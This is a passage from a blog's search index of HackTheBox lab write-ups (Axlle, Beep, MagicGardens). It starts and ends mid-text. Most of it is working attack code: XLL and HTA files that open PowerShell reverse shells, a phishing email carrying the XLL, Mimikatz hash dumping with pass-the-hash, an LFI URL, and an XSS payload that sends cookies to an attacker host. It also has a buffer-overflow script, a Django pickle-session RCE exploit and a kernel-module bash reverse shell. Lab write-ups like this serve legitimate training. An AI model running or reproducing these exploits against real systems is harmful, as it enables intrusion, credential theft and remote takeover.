ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: MAINFRAME; OS: Windows; CPE: cpe:/o:microsoft:windows Getting a Foothold via Excel XLL Exploit This method demonstrates how to gain an initial foothold by delivering a reverse shell using an XLL file in Excel. Once the target opens the malicious XLL file, it triggers the reverse shell.\nFor more details on XLL-based attacks, refer to the SwisskyRepo guide:\nSwisskyRepo - Office Attacks\nCreate the Reverse Shell Code\nSave the following C code as revshell.c. This code defines a function xlAutoOpen that executes when Excel loads the XLL file. #include \u0026lt;windows.h\u0026gt; __declspec(dllexport) void __cdecl xlAutoOpen(void) { // Triggers when Excel opens WinExec(\u0026#34;powershell -nop -W hidden -noni -ep bypass -c \\\u0026#34;$TCPClient = New-Object Net.Sockets.TCPClient(\u0026#39;\u0026lt;vpn-ip\u0026gt;\u0026#39;, 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + \u0026#39;SHELL\u0026gt; \u0026#39;);$StreamWriter.Flush()}WriteToStream \u0026#39;\u0026#39;;while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2\u0026gt;\u0026amp;1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\\\u0026#34;\u0026#34;, 1); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } Compile the DLL into XLL Format\nUse MinGW to compile the C code into an XLL file: x86_64-w64-mingw32-gcc -shared -fPIC -o trustthis.xll revshell.c Set Up a Listener\nPrepare to catch the reverse shell by opening a Netcat listener on your local machine: nc -lvnp 9001 Send the XLL via Email\nUse swaks to send the XLL file as an attachment through email: swaks --from test@axlle.htb --to accounts@axlle.htb --body \u0026#34;Important update required.\u0026#34; --header \u0026#34;Subject: Urgent Update\u0026#34; --attach @trustthis.xll Creating a Windows Symbolic Link for Exploitation Create the Symlink: On your local machine, create a symlink that points to an exploit file using the echo command in Bash. This command formats the contents correctly to simulate a Windows Internet Shortcut pointing to a remote file: echo -e \u0026#34;[{000214A0-0000-0000-C000-000000000046}]\\nProp3=19,9\\n[InternetShortcut]\\nIDList=\\nURL=file://\u0026lt;vpn-ip\u0026gt;/share/exploit.hta\u0026#34; \u0026gt; shortcut.url [{000214A0-0000-0000-C000-000000000046}] and Prop3=19,9 are used to format the file as a Windows shortcut. URL=file://\u0026lt;vpn-ip\u0026gt;/share/exploit.hta specifies the network location of the exploit file. Prepare the Listener: Set up a listener on your local machine to monitor any connections triggered by the server accessing the exploit: nc -lvnp 9002 Prepare the Exploit File: Make the exploit.hta file: \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;HTA:APPLICATION ID=\u0026#34;shell\u0026#34;\u0026gt; \u0026lt;script language=\u0026#34;javascript\u0026#34;\u0026gt; var c = \u0026#34;powershell -nop -W hidden -noni -ep bypass -c \\\u0026#34;$TCPClient = New-Object Net.Sockets.TCPClient(\u0026#39;\u0026lt;vpn-ip\u0026gt;\u0026#39;, 9002);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + \u0026#39;SHELL\u0026gt; \u0026#39;);$StreamWriter.Flush()}WriteToStream \u0026#39;\u0026#39;;while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2\u0026gt;\u0026amp;1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\\\u0026#34;\u0026#34;; new ActiveXObject(\u0026#39;WScript.Shell\u0026#39;).Run(c, 0, true); \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt;self.close();\u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; On your PC, use Impacket to start an SMB server and serve files where exploit.hta is:\nsudo smbserver.py -smb2support share . Wait for Connection Once the reverse shell connects, you should be:\nSHELL\u0026gt; whoami axlle\\dallon.matrix Retrieve the User Flag:\ntype \\users\\dallon.matrix\\desktop\\user.txt Changing jacob.greeny\u0026rsquo;s Password for WinRM Access Download and serve PowerView.ps1:\nwget https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 python -m http.server On the target machine:\ncd \\inetpub\\testing wget http://10.10.14.15:8000/shortcut.url -o shortcut.url wget http://10.10.14.15:8000/PowerView.ps1 -o PowerView.ps1 Import-Module .\\PowerView.ps1 Import-Module ActiveDirectory $Password = ConvertTo-SecureString \u0026#39;Password123!\u0026#39; -AsPlainText -Force Set-ADAccountPassword -Identity jacob.greeny -NewPassword $Password -Reset Access the target with WinRM:\nevil-winrm -i 10.10.11.21 -u jacob.greeny -p \u0026#39;Password123!\u0026#39; LOLBINs StandaloneRunner Exploit In the \\App Development\\kbfiltr\\README.md, the following is mentioned:\nNOTE: I have automated the running of C:\\Program Files (x86)\\Windows Kits\\10\\Testing\\StandaloneTesting\\Internal\\x64\\standalonerunner.exe as SYSTEM to test and debug this driver in a standalone environment.\nYou can check directory permissions by running:\nicacls \u0026#34;C:\\Program Files (x86)\\Windows Kits\\10\\Testing\\StandaloneTesting\\Internal\\x64\u0026#34; The output shows that the folder is writable, but the files inside it are not writable. This means you can create new files in the directory, but you can\u0026rsquo;t modify the existing ones. This setup can be exploited by placing a malicious file in the writable directory and using standalonerunner.exe to execute your commands as SYSTEM.\nReference: StandaloneRunner LOLBINs\ncd \\ mkdir work cd work mkdir myTestDir echo myTestDir True \u0026gt; reboot.rsf cd myTestDir mkdir working cd working echo \u0026gt; rsf.rsf Create and Share command.txt on Your Machine Create the command.txt file on your machine using a text editor: nano command.txt Paste the following PowerShell reverse shell code into command.txt (this is Powershell #3 from revshells.com): powershell -nop -W hidden -noni -ep bypass -c \u0026#34;$TCPClient = New-Object Net.Sockets.TCPClient(\u0026#39;\u0026lt;vpn-ip\u0026gt;\u0026#39;, 9003);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + \u0026#39;SHELL\u0026gt; \u0026#39;);$StreamWriter.Flush()}WriteToStream \u0026#39;\u0026#39;;while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2\u0026gt;\u0026amp;1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\u0026#34; Start a simple HTTP server to serve the file for the target machine: python -m http.server This will serve the command.txt file on port 8000 by default. You can then download it on the target machine.\nRun on the Target Machine Download the command.txt file on the target machine (in work/ directory): cd \\work wget http://\u0026lt;vpn-ip\u0026gt;:8000/command.txt -OutFile command.txt Open a Listener on your machine (port you specified in command.txt): nc -nvlp 9003 Copy the Contents of the Work Directory to Program Files Finally, you can copy the contents of the Work directory to the Program Files directory:\ncp -r \\work\\* \u0026#34;C:\\Program Files (x86)\\Windows Kits\\10\\Testing\\StandaloneTesting\\Internal\\x64\\\u0026#34; -Force ls \u0026#34;C:\\Program Files (x86)\\Windows Kits\\10\\Testing\\StandaloneTesting\\Internal\\x64\\\u0026#34; Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 10/22/2024 12:42 PM myTestDir -a---- 10/22/2024 12:38 PM 674 command.txt -a---- 10/22/2024 12:34 PM 36 reboot.rsf -a---- 9/30/2023 3:08 AM 33392 standalonerunner.exe -a---- 9/30/2023 3:08 AM 43632 standalonexml.dll Wait 60 seconds.\ntype \\users\\administrator\\desktop\\root.txt Extract Admin NT Hash Set Up Mimikatz Download, extract, and run Mimikatz to obtain the NT hash:\ncurl http://\u0026lt;vpn-ip\u0026gt;:8000/mimikatz.zip -o m.zip \u0026amp;\u0026amp; tar -xf m.zip cd mimikatz .\\mimikatz.exe \u0026#34;privilege::debug\u0026#34; \u0026#34;sekurlsa::logonpasswords\u0026#34; \u0026#34;exit\u0026#34; Note down the NTLM hash of the Administrator.\nInitiate Evil-WinRM Session Utilize the extracted NT hash to access the target system:\nevil-winrm -i axlle.htb -u administrator -H 6322b5b9f9daecb0fefd594fa6fafb6a Summary Axlle: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-10-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Axlle/","protected":null,"snippet":"Axlle: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","kerberos","smb","ldap"],"title":"HackTheBox Axlle Writeup"},{"categories":["challenge"],"contents":"","date":"2024-10-22T01:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Bypass-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","dotnet"],"title":"HackTheBox Bypass Challenge"},{"categories":["machine"],"contents":"Add Hosts 10.10.10.7 beep.htb Script to add hosts automatically ip=\u0026#34;10.10.10.7\u0026#34; domain=\u0026#34;beep.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sV -sC -F --version-light 10.10.10.7 Nmap scan report for beep.htb (10.10.10.7) Host is up (0.070s latency). Not shown: 89 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) | ssh-hostkey: | 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA) |_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA) 25/tcp open smtp Postfix smtpd |_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN 80/tcp open http Apache httpd 2.2.3 |_http-title: Did not follow redirect to https://beep.htb/ 110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 |_pop3-capabilities: LOGIN-DELAY(0) IMPLEMENTATION(Cyrus POP3 server v2) RESP-CODES EXPIRE(NEVER) TOP UIDL USER AUTH-RESP-CODE PIPELINING STLS APOP 111/tcp open rpcbind 143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 |_imap-capabilities: ID THREAD=REFERENCES ACL Completed QUOTA UNSELECT OK URLAUTHA0001 CHILDREN ANNOTATEMORE LITERAL+ NAMESPACE LIST-SUBSCRIBED RENAME LISTEXT NO STARTTLS ATOMIC IDLE RIGHTS=kxte CONDSTORE CATENATE SORT=MODSEQ IMAP4rev1 IMAP4 THREAD=ORDEREDSUBJECT MAILBOX-REFERRALS BINARY MULTIAPPEND SORT X-NETSCAPE UIDPLUS 443/tcp open ssl/https? |_ssl-date: 2024-10-20T12:18:56+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- | Not valid before: 2017-04-07T08:22:08 |_Not valid after: 2018-04-07T08:22:08 993/tcp open ssl/imap Cyrus imapd |_imap-capabilities: CAPABILITY 995/tcp open pop3 Cyrus pop3d 3306/tcp open mysql? 10000/tcp open http MiniServ 1.570 (Webmin httpd) |_http-title: Site doesn\u0026#39;t have a title (text/html; Charset=iso-8859-1). Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com Accessing Beep HTB via Deprecated SSL Note: The TLS version on Beep HTB is outdated (TLS 1.0), so it won\u0026rsquo;t open in modern browsers by default.\nTo enable access in Firefox:\nGo to about:config. Set the following: security.tls.version.enable-deprecated = true Now, you can access https://beep.htb/.\nSearching for Vulnerabilities in Elastix To begin, search for vulnerabilities related to Elastix using searchsploit:\nsearchsploit elastix CVE-2012-4869 - Local File Inclusion (LFI) There is a known Local File Inclusion (LFI) vulnerability in Elastix that can be exploited via the vtigercrm component.\nExploit Reference:\nExploit-DB #37637\nLFI URL:\nhttps://beep.htb/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00\u0026amp;module=Accounts\u0026amp;action View the source of the page to get the content formatted properly. This exploit can reveal sensitive information, such as the string jEhdIekWmdjE.\nExploiting Further via SSH After revealing sensitive information through the LFI exploit, you can attempt to connect to the machine via SSH. However, since the system is old and uses deprecated security settings, the connection might not work with modern distributions like Arch Linux, which have stricter default algorithms.\nTo proceed, first scan the supported SSH algorithms on the target machine:\nnmap -p22 -sV --script ssh2-enum-algos 10.10.10.7 If older algorithms are required, use the following SSH options to specify deprecated algorithms:\nssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa root@10.10.10.7 Once connected, retrieve the flags:\ncat /home/fanis/user.txt cat /root/root.txt Summary Beep: use CVE-2012-4869 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-10-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Beep/","protected":null,"snippet":"Beep: use CVE-2012-4869 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2012-4869"],"title":"HackTheBox Beep Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.9 magicgardens.htb Script to add hosts automatically ip=\u0026#34;10.10.11.9\u0026#34; domain=\u0026#34;magicgardens.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV magicgardens.htb Nmap scan report for magicgardens.htb (10.10.11.9) Host is up (0.063s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA) |_ 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519) 25/tcp filtered smtp 80/tcp open http nginx 1.22.1 |_http-server-header: nginx/1.22.1 |_http-title: Magic Gardens 5000/tcp open ssl/http Docker Registry (API: 2.0) | ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU | Not valid before: 2023-05-23T11:57:43 |_Not valid after: 2024-05-22T11:57:43 |_http-title: Site doesn\u0026#39;t have a title. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Foothold via XSS Go to http://magicgardens.htb and register. Navigate to http://magicgardens.htb/profile/?tab=subscription, click \u0026ldquo;Upgrade\u0026rdquo;, and select honestbank.htb. Capture the request, modify the \u0026ldquo;Bank\u0026rdquo; parameter to your local IP (YOUR_IP):8000, and start a local server: python -m http.server 8000 Test the original server\u0026rsquo;s response: curl http://honestbank.htb/api/payments/ Simulate a POST request: curl http://honestbank.htb/api/payments/ -X POST -d \u0026#39;{\u0026#34;cardname\u0026#34;:\u0026#34;sun\u0026#34;, \u0026#34;cardnumber\u0026#34;:\u0026#34;12345678901\u0026#34;}\u0026#39; Close the server and run a Flask server: from flask import Flask, jsonify, request app = Flask(__name__) @app.route(\u0026#39;/api/payments/\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) def handle_payment(): req_json = request.get_json() req_json[\u0026#39;status\u0026#39;] = \u0026#34;200\u0026#34; print(req_json) return jsonify(req_json) if __name__ == \u0026#39;__main__\u0026#39;: app.run(host=\u0026#39;0.0.0.0\u0026#39;, port=8000) Intercept the request, set bank=YOUR_IP:8000, and forward requests with Burp. Disable intercept refresh the page and buy a flower with the vip subscription.\nExtract and scan the QR code using zbar tools like qrscan.\nQR content:\n2b4d11f6d8220941e1726e89547ef8a0.0d341bcdc6746f1d452b3f4de32357b9.pwn@pwn.com Replace vpn-ip and QR ID in the payload and generate a malicious QR code: Server to retrive the coockies:\npython -m http.server 8000 import qrcode data = \u0026#39;\u0026#39;\u0026#39;2b4d11f6d8220941e1726e89547ef8a0.0d341bcdc6746f1d452b3f4de32357b9.\u0026lt;/p\u0026gt;\u0026lt;script\u0026gt;var i=new Image(); i.src=\u0026#34;http://vpn-ip:8000/?cookie=\u0026#34;+btoa(document.cookie);\u0026lt;/script\u0026gt;\u0026lt;p\u0026gt;\u0026#39;\u0026#39;\u0026#39; qr = qrcode.QRCode(box_size=10, border=4) qr.add_data(data) qr.make(fit=True) img = qr.make_image(fill=\u0026#39;black\u0026#39;, back_color=\u0026#39;white\u0026#39;) img.save(\u0026#34;evilqr.png\u0026#34;) Send the malicious QR code in response to the message received from Morty after buying a flower. Once you get the response, decode the Base64-encoded cookie: echo -n \u0026#34;Base64 of the Cookies? \u0026#34;; read payload echo $payload | base64 -d Use the cookie sessionid in your browser and access: http://magicgardens.htb/admin/store/storeuser/morty/change/ You will find the hash pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=.\nBrute Force the Hash echo -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat 10000 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat /tmp/hash.txt --show rm -rf /tmp/hash.txt You will find the credentials for jonasbrothers.\nTo SSH into the target as Morty, use the following command:\nssh morty@magicgardens.htb Discovering Harvest Buffer Overflow Target Machine:\nStart HTTP server on port 8008: cd / python3 -m http.server 8008 Local Machine:\nDownload and prepare harvest binary: wget http://magicgardens.htb:8008/usr/local/bin/harvest chmod +x ./harvest sudo ./harvest server Testing and Exploitation: Initial Testing:\nSend test payload: echo \u0026#34;test\u0026#34; | nc 127.0.0.1 1337 Expected result: [x] Handshake error Send correct version: echo \u0026#34;harvest v1.0.3\u0026#34; | nc 127.0.0.1 1337 This indicates a successful handshake. Reversing and Exploitation:\nVulnerability observed in strcmp function not limiting buffer size. Monitor file operations: strace -t -e trace=openat ./harvest server -l save.txt Buffer Overflow Attack Script: import socket server_address = (\u0026#39;::1\u0026#39;, 6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data = b\u0026#39;A\u0026#39;*65500 s.send(data) Generate and use a pattern to accurately target memory: python -c \u0026#34;from pwn import *; open(\u0026#39;bof.txt\u0026#39;,\u0026#39;w\u0026#39;).write(cyclic(65500).decode())\u0026#34; Use the generated pattern: import socket server_address = (\u0026#39;::1\u0026#39;, 6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) with open(\u0026#39;bof.txt\u0026#39;, \u0026#39;rb\u0026#39;) as f: data = bytearray(f.read()) s.send(data[:65372] + b\u0026#34;/tmp/name.txt\u0026#34;) s.close() Check for successful exploit: cat /tmp/name.txt Find the pattern offset: python -c \u0026#34;from pwn import *; print(cyclic_find(b\u0026#39;daaa\u0026#39;))\u0026#34; The offset identified (12) is crucial for crafting an effective exploit. From Morty to Alex: Buffer Overflow in Harvest v1.0.3 Generate the SSH key on your local machine\nssh-keygen -f ./key This will generate a key pair and save it as ./key (private key) and ./key.pub (public key).\nDisplay the public key on your local machine\ncat ./key.pub Send a message to the vulnerable service on the target\necho \u0026#34;harvest v1.0.3\u0026#34; \u0026gt; /dev/tcp/127.0.0.1/1337 Open a Python REPL on the target\npython3 Paste the following code into the Python REPL and adjust the SSH Public key (key) as needed:\nimport socket server_address = (\u0026#39;::1\u0026#39;, 6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data = bytearray(b\u0026#39;\\n\u0026#39; * 65403) key = \u0026#39;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEICRuVTVFybA8QCIqNV+IU2oYS8kDu9W/ASXOkwHUxw e@Arch\u0026#39; replace = b\u0026#34;/home/alex/.ssh/authorized_keys\u0026#34; sendData = data[:65372] + replace sendData[12:12 + len(key)] = key.encode() s.send(sendData) SSH into the target using the generated private key\nssh -i ./key alex@magicgardens.htb Once connected, read the contents of the files\ncat /home/alex/user.txt cat /var/mail/alex We get\nUEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44Sq4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIeAwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pGZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA= Unzip the zip On Your Local Machine\nMake sure everything is on one line or it will not work with the read command\necho -en \u0026#34;Zip Content? \u0026#34;; read zip echo $zip | base64 -d \u0026gt; auth.zip zip2john auth.zip \u0026gt; auth.hash john --wordlist=/usr/share/dict/rockyou.txt auth.hash john auth.hash --show Unzip and Read the Contents:\nunzip auth.zip cat htpasswd Brute Force the Hash echo -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat /tmp/hash.txt --show rm -rf /tmp/hash.txt https://github.com/Syzik/DockerRegistryGrabber\ngit clone https://github.com/Syzik/DockerRegistryGrabber cd DockerRegistryGrabber python drg.py https://magicgardens.htb -U AlexMiles -P diamonds --dump magicgardens.htb It will take a while; once finished, proceed to extract all registers.\ncd magicgardens.htb for file in $(zgrep -la morty *.tar.gz); do tar -xzf \u0026#34;$file\u0026#34; done cat ./usr/src/app/.env Save this script in your local machine as exploit.py. It generates a malicious session to execute a reverse shell.\nimport requests from django.contrib.sessions.serializers import PickleSerializer from django.core import signing from django.conf import settings import base64 import subprocess import os settings.configure(SECRET_KEY=\u0026#34;55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4\u0026amp;87b\u0026#34;) def get_tun0_ip(): return subprocess.check_output(\u0026#34;ip a | grep -A 2 \u0026#39;tun0:\u0026#39; | grep -oP \u0026#39;(?\u0026lt;=inet\\\\s)\\\\d+(\\\\.\\\\d+){3}\u0026#39;\u0026#34;, shell=True).decode().strip() def generate_reverse_shell(ip, port=9001): return base64.b64encode(f\u0026#34;/bin/bash -c \u0026#39;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/{ip}/{port} 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34;.encode()).decode() class CreateTmpFile(object): def __reduce__(self): return (subprocess.call, ([\u0026#39;bash\u0026#39;, \u0026#39;-c\u0026#39;, f\u0026#39;echo {generate_reverse_shell(get_tun0_ip())} | base64 -d | bash\u0026#39;],)) def create_malicious_session(): return signing.dumps(obj=CreateTmpFile(), serializer=PickleSerializer, salt=\u0026#39;django.contrib.sessions.backends.signed_cookies\u0026#39;) def set_session_cookie(session_id): requests.get(\u0026#34;http://magicgardens.htb/admin/login/?next=/admin/\u0026#34;, cookies={\u0026#39;sessionid\u0026#39;: session_id}) def curl_with_session_cookie(session_id): os.system(f\u0026#34;curl -b \u0026#39;sessionid={session_id}\u0026#39; http://magicgardens.htb/admin/login/?next=/admin/\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: session_cookie = create_malicious_session() set_session_cookie(session_cookie) curl_with_session_cookie(session_cookie) Note: The exploits require the Django package (pip install django==3.2) to work. The latest version (5.1.2) does not include django.contrib.sessions.serializers.\nMake sure you have a listener ready: nc -lvnp 9001 Run the Python exploit: python exploit.py Your listener is now connected to the Docker container inside the target.\nGet an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Privilege Escalation Using Linux Capabilities Check Current Linux Capabilities You can check your current capabilities using capsh. Here\u0026rsquo;s an example output:\ncapsh --print Example Output: Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap Ambient set = Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore Securebits: 00/0x0/1\u0026#39;b0 (no-new-privs=0) secure-noroot: no (unlocked) secure-no-suid-fixup: no (unlocked) secure-keep-caps: no (unlocked) secure-no-ambient-raise: no (unlocked) uid=0(root) euid=0(root) gid=0(root) groups=0(root) Guessed mode: HYBRID (4) You can learn more about Linux capabilities and their privilege escalation potential here.\nKernel Module: Reverse Shell The following reverse-shell.c code is an example of a loadable kernel module (LKM) that spawns a reverse shell:\nCode: reverse-shell.c #include \u0026lt;linux/kmod.h\u0026gt; #include \u0026lt;linux/module.h\u0026gt; MODULE_LICENSE(\u0026#34;GPL\u0026#34;); MODULE_AUTHOR(\u0026#34;AttackDefense\u0026#34;); MODULE_DESCRIPTION(\u0026#34;LKM reverse shell module\u0026#34;); MODULE_VERSION(\u0026#34;1.0\u0026#34;); // Replace \u0026#34;vpn-ip\u0026#34; with your actual IP address. char* argv[] = {\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/vpn-ip/4444 0\u0026gt;\u0026amp;1\u0026#34;, NULL}; static char* envp[] = {\u0026#34;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0026#34;, NULL}; static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO \u0026#34;Exiting\\n\u0026#34;); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); Makefile Below is the corresponding Makefile for compiling the kernel module:\nobj-m += reverse-shell.o all: make -C /lib/modules/$(shell uname -r)/build M=$(pwd) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(pwd) clean All in one command Local (Listener):\nnc -lp 12345 \u0026gt; reverse-shell.ko Ssh (Compile, Send File):\nssh -i ./key alex@magicgardens.htb cd /tmp cat \u0026lt;\u0026lt; EOF \u0026gt; reverse-shell.c #include \u0026lt;linux/kmod.h\u0026gt; #include \u0026lt;linux/module.h\u0026gt; MODULE_LICENSE(\u0026#34;GPL\u0026#34;); MODULE_AUTHOR(\u0026#34;AttackDefense\u0026#34;); MODULE_DESCRIPTION(\u0026#34;LKM reverse shell module\u0026#34;); MODULE_VERSION(\u0026#34;1.0\u0026#34;); // Replace \u0026#34;vpn-ip\u0026#34; with your actual IP address. char* argv[] = {\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/vpn-ip/4444 0\u0026gt;\u0026amp;1\u0026#34;, NULL}; static char* envp[] = {\u0026#34;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0026#34;, NULL}; static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO \u0026#34;Exiting\\n\u0026#34;); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); EOF echo -e \u0026#34;obj-m += reverse-shell.o\\nall:\\n\\tmake -C /lib/modules/6.1.0-20-amd64/build M=\\$(PWD) modules\\nclean:\\n\\tmake -C /lib/modules/6.1.0-20-amd64/build M=\\$(PWD) clean\u0026#34; \u0026gt; Makefile make cat reverse-shell.ko \u0026gt; /dev/tcp/\u0026lt;vpnip\u0026gt;/12345 Local:\nStart a Python HTTP Server: Host the reverse-shell.ko file so it can be 